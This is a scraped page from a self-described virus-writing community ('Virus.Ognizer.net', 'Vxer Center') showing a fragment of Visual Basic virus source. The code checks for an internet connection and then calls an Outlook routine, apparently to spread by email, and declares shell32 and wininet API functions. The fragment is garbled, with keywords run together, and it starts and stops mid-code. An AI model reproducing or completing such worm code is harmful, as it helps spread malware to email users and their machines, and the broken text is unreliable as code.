Virus.Ognizer.net The Online Virus CommunityCopyright © Virus.Ognizer.net. All rights reserved.Documentation Vxer Center Http://Virus29a.blogspot.com
2
End IfNextEnd IfNextEnd IfEnd Function'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''Private SubForm_Load()On Error Resume NextIfSecond(Now)Mod30 = 0Then
IfInternetCheckConnection("http://www.yahoo.com/",FLAG_ICC_FORCE_CONNECTION, 0&) <> 0 OrInternetCheckConnection("http://www.google.com/",FLAG_ICC_FORCE_CONNECTION, 0&) <> 0ThenCallOutlookEnd IfEnd IfEnd Sub'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''Module:Public Declare FunctionShellAboutLib"shell32.dll"Alias
"ShellAboutA" (ByValhWndAs Long,ByValszAppAs String,ByVal
szOtherStuffAs String,ByValhIconAs Long)As Long
Public Declare FunctionSHGetSpecialFolderLocationLib"shell32.dll"
(ByValhwndOwnerAs Long,ByValnFolderAs Long, pidlAsITEMIDLIST)As
Long Public Declare FunctionSHGetPathFromIDListLib"shell32.dll"Alias
"SHGetPathFromIDListA" (ByValpidlAs Long,ByValpszPathAs String)As
Long Public Declare FunctionInternetCheckConnectionLib"wininet.dll"Alias
"InternetCheckConnectionA" (ByVallpszUrlAs String,ByValdwFlagsAs
Long,ByValdwReservedAs Long)As Long
Public TypeSHITEMIDcbAs Long abIDAs ByteEnd TypePublic TypeITEMIDLISTmkidAsSHITEMIDEnd TypePublic Const FLAG_ICC_FORCE_CONNECTION = &H1'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''Public FunctionGetSpecialfolder(CSIDLAs Long)As String
On Error Resume Next
Leave a Comment